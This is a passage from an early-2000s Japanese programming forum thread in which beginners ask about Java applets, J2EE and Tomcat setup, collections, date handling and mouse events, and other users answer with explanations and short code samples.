これで駄目なら無理だと思う
0776774
NGNGそれでダメなら無理・・・ですか。
わかりました。別の方法を考えます。
どうもお世話になりました。ありがとうございました。
0777がばろん@Mたんちゅきちゅき
NGNGとりあえずIE6.0の場合の設定方法。
まずブラウザのメニューバーから「ツール」をクリック。
つぎに「インターネットオプション」をクリックしてダイアログを開く。
開いたダイアログのタブから「セキュリティ」を選択して、
そのつぎに「レベルのカスタマイズ」をクリック。
「Javaの許可」からラジオボタン「カスタム」を選択し
「Java カスタム設定」をクリック。
「権限の編集」の「未署名のコンテンツの実行」のラジオボタンを
「サンドボックスで実行」から「有効」に。
これでブラウザ上の未署名のアプレットでも、
たいがいのことは実行できるようになります。
ただ、これをやるとブラウザのセキュリティが、
すさまじく低下するという危険も伴う諸刃の剣。
素人には、おすすめできない。
まあ>>774たんはアプレットに署名するなり、
Java Web Startをつかうなりしてみなさいってこった。
http://java.sun.com/products/javawebstart/ja/index_ja.html
#たぷん上の設定でアプレットからnotepad開けるとおもう。
#もし、ひらけなかったら署名するなりJava Web Startつかうなりしてみてね。
0778がばろん@Mたんちゅきちゅき
NGNG「レベルのカスタマイズ」を実行するときは
「Webコンテンツのゾーンを選択してセキュリティのレベルを設定する(z)」から
「イントラネット」を選択して、それから「レベルのカスタマイズ」を設定してね。
#この設定だと、
#あくまでもイントラネット上のアプレットからしかnotepad開けないけど。
0779デフォルトの名無しさん
NGNG0780776
NGNG丁寧に解説してくださってありがとうございます。
昨日の時点でそのように設定してもダメだったのであきらめモードだったのですが、
えーと、クラスパスを通してないのが原因だったようで
それからはセキュリティを落とさなくてもnotepadを開くことが出来ました。
ただpolicyファイルをいじったのでjava全体に影響が出てしまうのですが。
で、外部アプリ起動専用のDLLというのがあるらしいので
それを使って作業することにします。
がばろん@さん、その他意見を下さった方々には感謝申し上げます。
0781デフォルトの名無しさん
NGNGあまり無いけど
どうなの?
設計で回避できる問題なのかな?
0782デフォルトの名無しさん
NGNGポリモルフィズムが使いこなせない人には無縁の予約語ですな。
多態を多用すると、お世話になる事が増えます。
設計がすばらしいか、貴方がまだアホなのかのどちらかです。
前者であることを祈ります。
0783デフォルトの名無しさん
NGNGポリモルフィズムを使いこなしてても無縁の予約語でしょ?フツー
equalsの実装とかにイディオム的に使うときも有るけど。
気取ってメタなことをしなければ、
ほとんど使わなくても多態は効果的に運用できるよ。
けど、昔のawtのイベントモデルみたいにincetanceofが
頻出しちゃう設計がタコかというと、
あれはあれでシンプルでいい気もする。
結局は趣味の問題だ。
0784デフォルトの名無しさん
NGNGちなみに私は教えて君です。
0785デフォルトの名無しさん
NGNG知ってるとは思うけど。
事実上のJava相談室次スレ。(ネタ心者スレとの統合用)
「ネタ心者歓迎! 今更ながらにJava相談室」
http://piza2.2ch.net/test/read.cgi?bbs=tech&key=1003569074
0786デフォルトの名無しさん
NGNGacceptメソッドが呼ばれる気配がいっこうにありません。
使い方が根本的に間違っているのでしょうか?
0787786
NGNG0788787
NGNG・・鬱駄氏脳。
0789avaj辛辣な悩み
NGNGうちの会社は、JAVAを3ヶ月で覚えろ と言います。
もうすぐ入社2ヶ月ですが、Jビルダーに使われてるだけの状態です。
J2EEをwindows98で動かすことも、2週間かけてもできてません。
こんな僕はプログラマ向いてないんでしょーか。
それとも、半年くらいかけて教えてくれるとこいったほーがいいんでしょーか。
人生ヤバイです(藁)
0790デフォルトの名無しさん
NGNG0791avaj辛辣な悩み
NGNG基本的にはそうなんですよ
各BATファイルを書き換えたりすると動くらしいんですけど、
それを調べても、古いバージョンのことしか載ってなかったり。
で、上司にも(上司もJAVAプログラマ)報告したんですけど、
上司は「俺のでは動いてる」の一点張り。上司のOSはwin2000(--;
で、今も必死こいてBATファイルを書き直してます(^^;
まじでつらいっす(−−;
0792デフォルトの名無しさん
NGNGドキュメントの記述にNT系でしかサポートしないの一文を
みつけてプリントアウトして突き返せばいいだけじゃん。
仕事で必要ならOS買って貰えよ
2週間分工数かけるくらいならWin2000買ったほうが安いぞ。
0794デフォルトの名無しさん
NGNG0795avaj辛辣な悩み
NGNGん〜〜すこしマタ〜リするか・・
でもなかなかにきびしいな(−−;<win98でj2ee
0796デフォルトの名無しさん
NGNGあのな。
おまえの給料と間接費とか考えると、
おまえみたいな初心者でも会社にとっては月50万とか
そのくらいの金はかかっとるのだよ。
(月というのは営業日数にすれば20日だ。)
2週間も悩むくらいなら、
つーか2日悩むくらいならOS買え。
0797avaj辛辣な悩み
NGNG語弊。
俺がos買うのがもったいないんじゃなくて、会社にもったいないっていわれたのです。
で、うちの場合、自分で買ってきたソフトとかはOS・アプリ問わずいれられないのです。(会社PCに)
0798デフォルトの名無しさん
NGNGコスト感覚ゼロのドキュソな上司か
修行のためにわざとやらせてるかのどちらかだな。
仕事でサポート害のwin98わざわざ使わせないだろうから
修行かな。聞いてみれば?
「コスト的・時間的には大損でしたけど、
漏れの教育費用なんですよね〜?」って。
「普通のやつなら半日でできる」という答が返ってくるのかも知らんが。
いや漏れはwin98でJ2EEって経験無いからワカランが。
まあ精進せいや。
0799デフォルトの名無しさん
NGNGLabelwindowにKeyListenerをaddして、AWTのTextFieldで
コーディングしなくてもテキストの入力ができていましたが
Linux-jdk1.2.2_008や、Linux-jdk1.4.0b2では、まったく
入力ができないのですか、
というか、Keypressにも反応してません・・・。
普通のAWTのTextFieldって、コーディングしなくても
テキスト入力(表示)ってできるんでしょうか?
0800デフォルトの名無しさん
NGNGJavaでGUIを書くとき、main関数にframeを作って表示するけど、
表示した後なぜ、そのアプリは終了しないのでしょうか?
win32apiでGUIを書くときはメッセージループを作ってwinmainを終わらせないんで
わかりやすいんですが。。
frameが別スレッドで生成されていてmainが終了してもスレッドが終了するまで
待っているとか。。?
気になるんで教えてください!
0801デフォルトの名無しさん
NGNGそのとおり、GUIを使うとイベントを処理したりComponentのupdateを呼び出し
たりするスレッドが作られる。
0802デフォルトの名無しさん
NGNG以下の理屈は、漏れも詳細は確認してない。アバウトではあっ
てると思うけど。
javaでは、mainのスレッドも他のスレッドと同様の位置付け。
だから、GUIを表示したらmainのスレッドはそのまま終了して
しまうこともある。
で、そこで作られたGUIオブジェクトは、JVMが開始したイベント
ディスパッチングスレッドなどにその参照が登録されていて、
mainのスレッドが終了してもGUIオブジェクトへの参照がゼロに
ならず、ガベコレされない。
で、GUIが生きている限り、イベントディスパッチングスレッドなど
も生きているので、プログラムは終了しない。
付け加えれば、javaでは、デーモンでないスレッドがすべて終了した
ら、プログラムが終了することになっている。
0803デフォルトの名無しさん
NGNG一般的に独習とか結城本とかがいいって聞きますが。
どうなんでしょう??
0804デフォルトの名無しさん
NGNGあとはSunで配ってる日本語のAPIドキュメントを
暇なときにサンデーマガジン代わりに読みまくる。
0805デフォルトの名無しさん
NGNG自分は会社に金出してもらうように交渉中。
0806デフォルトの名無しさん
NGNGなんだそりゃ
詳細教えろ
0807803
NGNGういっす。やってみます。
あryがとうっす
0808デフォルトの名無しさん
NGNG「Javaの格言」
0809デフォルトの名無しさん
NGNG使えないすかね?
↓って宣言してるっす。
Vector[] List_A = new Vector[]{};
0810デフォルトの名無しさん
NGNGList_A[1].addElement(...);
...
では不満か?
0811デフォルトの名無しさん
NGNG「Javaの哲学」
0812デフォルトの名無しさん
NGNG809の宣言では、長さ0のVectorの配列になってしまっているが。
>>809
全く無意味な、極めてアホな宣言だと思われる。
Vector[] List_A = new Vector[5];
//↑Vectorを要素とする配列の配列長入れろよ。
List_A[0]=new Vector();
//↑まだ配列の中身が無いから、ちゃんとnewして作ってやれ。
List_A[0].addElement(...);
...
あるいは、
Vector List_A = new Vector();
List_A.addElement(...);
...
多分下がやりたいんだろ?二重の意味でアホな宣言じゃな。
0813809
NGNG宣言の、
Vector[] List_A = new Vector[]{}; は、
共通使ってDBからでデータを持ってくる為、
こう宣言しなければいけないらしいっす。
で、同じ宣言をしている、もうひとつのList_Bを
List_Aの最後から追加したいんですけど・・・。
むずい・・・TT
0814デフォルトの名無しさん
NGNG新しくサイズ決めたVector[]作って
List_Aの中身とList_Bの中身をコピーするしかないのでは?
0815デフォルトの名無しさん
NGNG悪いことは言わない。そんなプロジェクトからは足を洗え。
0816809
NGNGレスどもっ!
なんとかサイズ決めたほうに移してできました。
>>815
ひどいプロジェクトですよ〜
仕様書が無いらしくて、口頭やら画面印刷した紙に書いて来たり・・・
「仕様書くれ」っていったら「わかんないところあったら聞きに来い」
とか言うし・・・。こんな作り方してたら戻り発生しますよね〜。
0817デフォルトの名無しさん
NGNGこれ。
http://jdc.sun.co.jp/javaone/home/index.html
0818デフォルトの名無しさん
NGNGまったくPG作成は初心者なのですが・・・。
0819デフォルトの名無しさん
NGNGないんです。 ユーザに「複数立ち上げるな」って釘を刺すのも1つの手ですが、
それではあまりにもスマートではないので、アプリの方で複数起動を禁止する
手段を講じたいと思います。
Windowsであればミューテックスの仕組みを使えばできますが、Javaアプリでは
そのような仕組みは用意されて無いんでしょうか?
0820デフォルトの名無しさん
NGNG最初に立ち上げたVMでソケット1個(ポート固定で)
開いとく。→立ち上げ時にそのソケットに何か投げて、
なんか帰ってきたら既に立ち上げ済みなのでそのVMコロス。
などなど、どうでしょうか。
まあ、共有データをどこに置くかという話になるわな。
0821デフォルトの名無しさん
NGNG早速の御返答、ありがとうございます。
実は「アプリ立ち上げ証明ファイル案」も「ソケット蟻地獄案」も
既に出てたんですが、「新たにファイルを作ることも、ソケット等の
別プロセスを立てることも、まかりならん」ってなことになって
しまったので、どうしたもんかなぁと思った次第なんです。
取り敢えず「みんな考えることは同じなんだなぁ」ってことが見えて
良かったです。(^^;
あ、上記(819)解決案、まだまだお待ちしてます。
0822愛華
NGNG是非教えてください☆
たとえばレスを一気に消せたりするあんな感じの物を教えてください☆
よろしくお願いします☆
0823kiki
NGNGコンパイルも上手くいって、いざVIEWERで見てみると
初期化されていません。となります。
ソースコードに間違いがあるという事でしょうか・・・
教えてください。
0824デフォルトの名無しさん
NGNG外を見ずに昼か夜かを判定するのは無理。
ファイルとソケット以外で外を見る方法で、PC立ち上げに時に
イニシャライズされるものと言えば・・・。
0825デフォルトの名無しさん
NGNG0826デフォルトの名無しさん
NGNGエラーメッセージをちゃんと読みましょう。
何が初期化されてないかくらい出てるでしょ。
0827avaj真剣
NGNGWin98でJ2EE+deploy動かすの成功しました(笑)
BATファイルとポリシーファイル総書き換え。
そして、念願のペットストアをdeploy・・・・できません(−−;
rmi compilation faild・・・とかなってます・・
どういうとこ見直せばいんでしょう・・・
エラーログ見てもサッパリです(><)
0828デフォルトの名無しさん
NGNGあんたにゃサッパリでも俺らにゃ貴重な情報なんだよ。
ホラ・・隠さずに全部見せてみなよ・・
0829avaj真剣
NGNG行がでかすぎてのせられましぇん(;_;)
厨房でスマソ(マジ涙)
0830DOG
NGNGある配列を作成し、
その配列にオブジェクト(Hashtable)を格納した後、
その配列->オブジェクト内を参照しようと以下のようにコーディングしてみましたが、
思うように動作しません。
すみませんが、どのたか御教授願い無いでしょうか?
お願いします。(;;)
ArrayList l = new ArrayList();
Hashtable h = new Hashtable();
h.put( "A" , "a1" );
l.add( h );
h.clear();
h.put( "A" , "a2" );
h.put( "B" , "b2" );
l.add( h );
h.clear();
h.put( "A" , "a3" );
h.put( "B" , "b3" );
h.put( "C" , "c3" );
l.add( h );
for ( int i = 0 ; i < l.size() ; i ++ ) {
Hashtable hh = new Hashtable((Hashtable)l.get(i));
Enumeration em = hh.keys();
while( em.hasMoreElements() ) {
String s = (String)em.nextElement();
String v = (String)hh.get( s );
out.println( i + "/" + s + "/" + v );
}
}
※思うように動いて欲しい動作
0 / A / a1
1 / A / a2
1 / B / b2
2 / A / a3
2 / B / b3
2 / C / c3
※現状
0 / A / a3
0 / B / b3
0 / C / c3
1 / A / a3
1 / B / b3
1 / C / c3
2 / A / a3
2 / B / b3
2 / C / c3
0831デフォルトの名無しさん
NGNGあっちのスレに一言もなしか。
ヒントだけ言っておこう。実行結果から簡単に推測できることだとは思うが。
l.add( h ); したからといって ArrayList にデータがコピーされるわけではない(参照が保持される)。
そのプログラムではハッシュ表の中身は違うがオブジェクト自体は全く同じ HashTable を三度 ArrayList に追加しているだけだ。
C言語使いなら変数とオブジェクトの違いを理解してくれ。
0832DOG
NGNGヒント、ありがとうございました。
自分はC言語については、あまり知識が無いのですが、
おっしゃっている意味がわかり、対処できました。(^.^)
本当にありがとうです。
0833デフォルトの名無しさん
NGNGhttp://www22.big.or.jp/~15ch/readres.cgi?bo=proglam&vi=0036
0834デフォルトの名無しさん
NGNGどうでもいいはなしかもしれませんが
ArrayList をつかってるなら
HashMap を使わんとなんか気持ち悪いんですが?
0835デフォルトの名無しさん
NGNGJBuilder5使って、アプレットを作ってるのですが、
アプレットビューアーでは動くのに、
HTMLブラウザでは動かなくなってしまいました。
いったいどんな原因がが考えられるでしょうか?
JAppletは継承してはいません。ちゃんとAppletにしました。
ちなみに、Win98,IE6使ってます.
0836デフォルトの名無しさん
NGNGIE再インストールせよせよセヨ(エコー)
Tomcat4.0をインストールし、Tomcat起動し
”http://localhost:8080”でTomcatのsetup成功
画面が表示されるらしいのですが表示してくれません。
かつ、一度Windowsを終了すると、Tomcatが起動してくれません。
コマンドプロンプトには「LifecycleException」「BindException」
と表示されます。
�@localhostの部分は自分のマシン名でいいのですよね?
�Aなぜこれらの例外がでるか教えてください。
�BなにかIEに設定は必要ですか?
よろしくお願いします。
0838835
NGNGエラーが起こってました
つまらないこときいてすみません
0839デフォルトの名無しさん
NGNG0840デフォルトの名無しさん
NGNG0841デフォルトの名無しさん
NGNGJ2SDKが必要なのでわ?
0842サーブレット
NGNG複数のファイルをアップロードすることができません。どうすれば良いか
どなたか教えて下さい。
0843デフォルトの名無しさん
NGNGサーバー側にあらかじめ空のファイルを作っておく。
0844837
NGNG一度はTomcatが起動するのに、二度目からは
起動しないし、原因を探すためにどうするべきか
教えてください。お願いします。
0845デフォルトの名無しさん
NGNG0846844
NGNGことでしょうか。
0847844
NGNGCatalina.start: LifecycleException: null.open: java.net.BindException: Address
in use: JVM_Bind
LifecycleException: null.open: java.net.BindException: Address in use: JVM_Bind
java.net.BindException: Address in use: JVM_Bind
とでます。
0848Error401
NGNGプログラマ板にも書いたけど・・・。
Address in useってのは、Tomcatが使おうとしているPortが既に
使われているってこと。
Tomcat 4.0.1では、デフォルトでPort8080, 8005, 8008を使う。
それらのPortを使ってるソフトが立ち上がってない?
Proxy系のソフトとか、Firewall系のソフトとか。
Tomcatを立ち上げる前にnetstat -a は試してみた?
で、既に使われてる場合は、Tomcatが使用するPort番号を
適当なものに変えればOK。8080を8090とかね。
ところでOSはなに使ってるの?
0849Error401
NGNGCATALINA_HOME/logs
にログがはかれてるはずだから、中を見てみたら?
何かわかるかも。
0850847
NGNG両方の板で、質問に答えていただいてありがとうございます
netstat -a試しましたがPort8080のところはマシン名です。
問題ないんですよね?というよりも先ほどOS(Windows2000)
インストールしてそこにJDKとTomcat4.0をインストールしたんです。
あとフレッツ接続ツール。Startupで例外はでるんですが、localhost:8080
でsetup成功の画面は表示されます。でJSPExaplesや自作jspも動きます。
しかし、例外がでます。
何か原因があるのでしょうが、わかりません。よろしくお願いします。
0851Error401
NGNGなんか>>837と内容が違うんですけど(汗
整理しましょう。
1. netstat -aをしたのはTomcat起動前?後?
2. Tomcatが起動しないという問題は解決したのか?
3. ログは出てるのか?
4. 例外が出るのはどこ?ブラウザ?コンソール?
5. 結局何が問題なの?
0852850
NGNG1.起動前、起動後どちらも試しましたが、結果は同じです。
こんな感じです。
Proto Local Address Foreign Address State
TCP マシン名:8080 マシン名:0 LISTENING
2.はい、解決しました。
3.ログはでています。しかしエラーらしきものはありありません。
4.例外が出るのはコンソールです。スタートメニューのStartTomcatで
「サービス・・・・」って表示されるはずが、されず例外が出ます。
5.なぜその例外がでるのか、が疑問なのです。
お願いします。
0853Error401
NGNGそれって、Windows起動時にTomcatも起動してるってことでは。
だから、startup.batでTomcatを起動する必要が無い。
ApacheとTomcatを連動するように設定して、なおかつApacheを
サービスとして起動するように設定したとか。何か覚えない?
Windowsはそれほど詳しくないので、僕はこの辺でFade out...
0854デフォルトの名無しさん
NGNGアプレットを製作しているんですが、appletviewerでは動いても、
ブラウザではアプレット領域に灰色の背景色がでるだけで反応がありません。
念のためJREをsunのサイトから落としてインストールしなおして見たんですが、
やっぱり反応がありません。
何を見落としているんでしょうか。
ブラウザはIE5.5で、SDKは1.4を使っています。
0855デフォルトの名無しさん
NGNGIEをインストールするときに、
VMをインストールしていますか?
0856854
NGNGインターネットのプロパティの詳細設定でも、
Microsoft VMの設定欄が表示されていて、
『Java JIT コンパイラの使用』のところにチェックも入っています。
このPCだけじゃなくて、もう一台のサブノートにも同じようにインストールしてみたんですが、
そっちでも同じようにアプレットが動作してくれません。(Applet Viewerでは表示される)
ハードの問題じゃなくて俺の設定に問題があるってことですよね・・・。うーむ。
0857デフォルトの名無しさん
NGNG確か、カスタムインストールでチェックしないと
インストールしてくれなかったと思ったよ。
0858デフォルトの名無しさん
NGNGをチェックしとけ。再現して [表示]-[Javaコンソール] を見てみれ。
大方 APPLET タグ使って JDK 1.2 以降の機能を使用しているのだろう。
0860デフォルトの名無しさん
NGNGAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
AVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAV
JAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVAJAVA
0861デフォルトの名無しさん
NGNG0862835
NGNG引数を与えるにはどうすれば良いのでしょうか?
0863862
NGNG0864シロート
NGNGテキストボックスで数字(STRING型)を手に入れました。
その数値から、integer valueof で変換しさらにsub String で、
数値を抜きyyyy,mm,dd,eeを表示します。
しかし出力先には、常に本日から7日間の月、日、曜日を表示させ
なければなならず、どこにfou 文を絡めようか悩んでます。
カレンダークラスで取得すると、文字列はどうなりますか?
0865デフォルトの名無しさん
NGNGやってみたら?
取得した文字列を表示する方法なんていくらでもあるんだし。
0866シロート
NGNG忠告ありがとうございます。
(integer valueof())+iの様にしたら、OKでした。
iは変数
0867デフォルトの名無しさん
NGNG送るポートを25以外に簡単にする方法無いの?
0868デフォルトの名無しさん
NGNGでファイルを開こうとしても、
なぜかファイルノットファウンドの例外がでてしまうんです。
ファイルはclassファイルと同じフォルダに置いているんですけど、
何が間違っているんでしょう?
0869デフォルトの名無しさん
NGNGそのファイルに読み込み権限はある?
ファイルが存在しても、ファイルを開けなかったときに、
FileNotFoundExceptionを投げるみたいだよ。
0870こいも
NGNGマウスイベントとか・・・
まだまだ超初心者のため、簡単なアップレットで
ソースコードを公開しているホームページがあれば
紹介願います。
0871868
NGNGWin98なのでファイルの権限は問題ないと思うんです。
アプレットクラスの権限かなと思って、
policy toolでクラスの権限を設定したんですが、どうもちゃんと設定できてないらしく、
policyファイルを再び開こうとすると、
MalFormedURLExeptionといってエラーが出てしまいます。
エラー表示に設定したファイルパスが表示されているんですが、
それが文字化けしているようにも見えます。
解説書どおりにやっているんですが、プログラム以外のところでトラブル続きです。
なんでだろう・・・。(鬱
0872869
NGNGWin98でAppletだって事、最初に言って欲しかった、、、
まあ、十中八九Appletの権限不足でしょう、例外が出たのは。
文字化けと言うことから推測すると、URLの表記が間違っているのかも。
1.フォルダの区切りが\だと、エスケープ文字だと解釈される可能性があるから、/で区切ってみる。
2.日本語のフォルダや半角空白があるフォルダを使わない。
などをやってみると、うまく行くかも知れない。
0874868
NGNG何度も情報ありがとう。
\の後が文字化けしているようだから
files://c:\\My Documents\\sample.class
とやったらpolicy tool上では
files://c:/My Documents/sample.classという具合に表示されるようになって
エラーは出なくなりました。
ところが肝心のプログラムのほうは未だに反応なし・・・。
自分のプログラムが間違っているのかと思って
アプレットからアプリケーションに書き直してみたけど、
アプリケーションにした場合はすんなり読み書きできた。
ということはやっぱりアプレットの権限の問題なんでしょうね。
ふと思ったんですが、
アプレットを作ったとしてもいちいちユーザーの手で権限を与えなければいけないとなると、
複数のファイルを操作するアプレットを作るのは現実的ではないのかも知れません。
そこら辺はみなさんどうしているんでしょう。
ところで、policytoolで検索してみたらなぜか先行者のゲームを見つけました。(w
http://web12.freecom.ne.jp/~yanase/
0875868
NGNG0876まゆ
NGNG現在の環境
WIN98 JDK1.2 TOMCAT3.2.3
症状
PATHが通らない。TOMCATが利用できない
PATHの設定での注意事項などありましたら教えてください。
よろしくお願いします。
0877デフォルトの名無しさん
NGNGa+bという文字列をgetParameterすると、
a bという感じに+が消えてしまいます。
なんでかわかりません。わかる方教えてください。お願いします。
0878デフォルトの名無しさん
NGNGjava.security.Signature ?
getParameterは推奨されてないけど、使うのやめたら?
0879シロート
NGNGSQLサーバーから本日の日付を取得しました。これをJavaプログラムで表示させたいのですが、
SQL("SELECT CONVERT(VARCHAR(8), GETDATE(), 112)");
int year,month,day;
year=Integer.valueOf((%%%.getTEXT).substring(0,4)).intValue();
month=Integer.valueOf((%%%.getTEXT).substring(4,6)).intValue();
day=Integer.valueOf((%%%.getTEXT).substring(6,8)).intValue();
%%%に収めることができません。
このSQL文でとってくる値をどのように宣言したら良いでしょうか?
よろしくお願いいたします。
0880デフォルトの名無しさん
NGNGあのさ、
SQL("SELECT CONVERT(VARCHAR(8), GETDATE(), 112)");
って何のことかよく分からないんだけど、(なんかのライ
ブラリですか?コアAPIじゃないみたいだから、その仕様
なんかしらんぞ、こっちは。)
もしコレで何か問い合わせができているんだとしたら、
問い合わせの結果はどこの変数にしまったのよ?
それがわからなきゃしかたねえべさ。
0881デフォルトの名無しさん
NGNGソースファイルを作って、MS-DOSプロンプトで
ディレクトリの移動をしようとするとパラメータが多すぎます
とでてしまうのですがどうしたらいいのでしょう?
どなたかおしえてください。
0882デフォルトの名無しさん
NGNGすれ違い。
0883シロート
NGNG("SELECT CONVERT(VARCHAR(8), GETDATE(), 112)");
で本日の日付を取得出来ます。あまりにも長いソースになっていましたので
削除しました。書いた私も誰が見ても意味不明なソースです。
申し訳ありません。
SQL文のみを実行しDBから出力させると本日なら(20011031)がでます。
これを、Java.uti.calendar を用いて 曜日などを含め出力したいです。
でも、考えたら、Beanやservletで、getDate?などで日付を得た場合
この日付はクライアントのPCで無く鯖または、DB鯖側の日付になりますか?
0884デフォルトの名無しさん
NGNGあのさ…
「DBから出力させる」って、RDBMS付属のSQL実行用クライ
アントでSQL文入力して問い合わせすると、それが帰って
くるってだけの話でしょ?アンタCOBOLERさんですか???
(それにしても、なんでそんなSQL文にするのかよく分からんが)
RDBMSのデータをJavaのプログラム内に取り込むなら、まず
はJDBCの教本でも買って読みなさい。
いくらなんでも、ここで受け答えするだけでできるように
なることなら、飯の種なんかにはなんねえべさ。
0885シロート
NGNG分かりました。そのようにします。それで、ServletやJSPやBeanで、
Javaのみで現在の時刻を入手する方法の方が素直かなと思いまして。
方向を変えてやってみます。
0886デフォルトの名無しさん
NGNGサーブレットの話か?
URL にくっつけた '+' 記号は慣例的にスペースとして解釈される。
正しくは %20 だろう。つーか getParameter とだけ言われても
わからん。もうちょっと質問の仕方を勉強せれ。
0887シロート
NGNG本日の日付から、曜日を含む一週間を出力するプログラムを作りましたが、
int year,month,day;
Calendar cal=Calendar.getInstance();
cal.set(year,month-1,day)
DATE today=new DATE;
for(i=0;i<7;i++){
year =Integer.valueOf((today.getText()).substring(0,4)).intValue();
month =Integer.valueOf((today.getText()).substring(4,6)).intValue();
day =Integer.valueOf((today.getText()).substring(6,8)).intValue()+i;
SimpleDateFormat sdf=newSympleDateFormat("M月d日曜日");
system out println(sdf.format(c.gettime()));}
では、もちろん出力できません。new DATE で得られる値をCalendarクラスに
取り込むには、なにか良い方法はございませんか?
0888デフォルトの名無しさん
NGNGMS-DOSのプロンプト上からは
実行できないのでしょうか?
0889デフォルトの名無しさん
NGNGできる!
0890デフォルトの名無しさん
NGNGCalender#setTime(Date)
つうか、APIドキュメントくらい読んでから質問しろ。
妙なソース読まされるほうの身にもなれ。
0891デフォルトの名無しさん
NGNGMS-DOSプロンプトで実行すると
Exception in thread "main" java.long.NoclassDeFound Error:FirstProgram
とでてしまうのですがどうしたらいいのでしょう?
初心者なのでわかりません。どなたかおしえてください
0892デフォルトの名無しさん
NGNG0893デフォルトの名無しさん
NGNGこういう問題があるとすると、今1.3で動いているものが、1.4で動かなく
なる可能性もあるということなんでしょうか?
それから、異なったバージョンのSDKって共存できるんですか?
(@Windows, @Unix)
0894デファクトの名無しさん
NGNG設定するにはどうすれば良いのでしょうか?
0895デフォルトの名無しさん
NGNGマウスのキャプチャに関するコマンドがないようなんですが、
マウスを動かさずにマウスボタンをずっと押しっぱなしの状態というのは
どうやればイベントを取得できるのでしょうか。
>>891
アプリなのにmainメソッドを作ってないとか。
0896デフォルトの名無しさん
NGNGURLConnection#setRequestProperty()
0897デフォルトの名無しさん
NGNGプログラムの作り方を導いてください。
0898デフォルトの名無しさん
NGNGhttp://www.gimlay.org/~javafaq/S002.html#S002-08
[S002-Q08]
Exception in thread "main"java.lang.NoClassDefFoundError:HelloWorld
というエラーが出て動きません。
>>895
>アプリなのにmainメソッドを作ってないとか。
NoClassDefFoundError だから違うでしょ。
0899デフォルトの名無しさん
NGNGON_MOUSE_BUTTON_DOWNだっけ?
マウスボタンの二つのイベントで、状態フラグをon-off
0900デフォルトの名無しさん
NGNG0901デフォルトの名無しさん
NGNG0902デフォルトの名無しさん
NGNG意味不明。
書くときに座標の数値決めるのでは?
0903デフォルトの名無しさん
NGNG>>901
mousePressedでフラグをonにしてmouseReleasedでoffにして、
paintメソッド内でフラグがonであれば押されたときの処理をする。
とやってみてもやっぱりダメでした。
マウスをキャプチャできないとメッセージが送られてこないわけだから、
イベント処理できないような・・・・。
0904デフォルトの名無しさん
NGNGフラグを変えるだけじゃなくて
表示クラスのrepaint()をちゃんと呼んでるか?
表示したいデータ(このばあいボタン押下フラグ)が変化したら
Viewに通知してやんないと
Viewが再描画できないだろ。
このへんMVCモデルの基本だからちゃんとやってみ?
0905デフォルトの名無しさん
NGNGはい。やっています。>repaint()
mousePressedはマウスが押された瞬間に一度だけ呼ばれるイベントですよね。
ということは1度だけ再描画されるだけのような気がします。
タイマー割り込みで定期的に呼び出すメソッドを作って、
そこでrepaintすれば上手くいく気がしますが、なんとなく不恰好のように思うしなぁ。
0906デフォルトの名無しさん
NGNGそれ以外(ボタンを押したままでマウスが少しでも動く)は
イベント拾えるんだから、それで何とかできへん?
mouseMotionListener#mouseDragged
0907895
NGNGすでに現状でその状態なんです。(w
ただマウスをぐりぐり動かさないと処理できないっていうのはスマートじゃないし、
タイマー割り込み入れるのもなんか力技な気がしたので、
他にもっとストレートな方法があるのかなーと思ったんです。
もう少し調べてみます。ありがとう。
0908
NGNGアプレットは作った事無いから良く分からんけど、
これじゃ駄目なの?
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
public class MouseTest extends JApplet {
boolean isPressed;
public MouseTest() {
addMouseListener(new TestListener());
}
public void paint(Graphics g) {
g.clearRect(0, 0, 100, 100);
Color c = Color.blue;
if(isPressed) c = Color.red;
g.setColor(c);
g.fillRect(0, 0, 100, 100);
}
private class TestListener extends MouseAdapter {
public void mousePressed(MouseEvent e) {
isPressed = true;
repaint();
}
public void mouseReleased(MouseEvent e) {
isPressed = false;
repaint();
}
}
}
0909895
NGNGマウスが押された場合の処理というのが、
画面に表示されている画像をスクロールすることなんです。
書いて頂いた例では
押されている状態→赤
押されていない状態→青
となりますが、
押されている状態で表示する画像が静的なものではなく、
押されている間中ずっと変化するものだった場合には、
やはりイベント処理が必要だと思うんです。
(例えば
押されている状態 → 画面の色がくるくる変わる
押されていない状態 → 変わらない
といったもの)
タイマー割り込みを調べてそっちでやってみることにします。
どうもでした。
0910897
NGNGマウスでCADで絵を描く感覚で、それを座標の数値に
変えるプログラムの作り方。
0911908
NGNGじゃあ、これじゃ駄目?
//<Applet code="MouseTest.class" height=100 width=200></Applet>
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
public class MouseTest extends JApplet {
private boolean isPressed;
private Color c;
public MouseTest() {
addMouseListener(new TestListener());
new TestThread().start();
}
public void paint(Graphics g) {
g.setColor(c);
g.fillRect(0, 0, 100, 100);
}
private class TestListener extends MouseAdapter {
public void mousePressed(MouseEvent e) {
isPressed = true;
}
public void mouseReleased(MouseEvent e) {
isPressed = false;
}
}
private class TestThread extends Thread {
private final Color[] colors = {
Color.red, Color.yellow, Color.blue
};
public void run() {
int i = 0;
while(true) {
if(isPressed) {
int index = i % (colors.length);
c = colors[index];
i++;
if (i == 3) i = 0;
repaint();
try {
sleep(200);
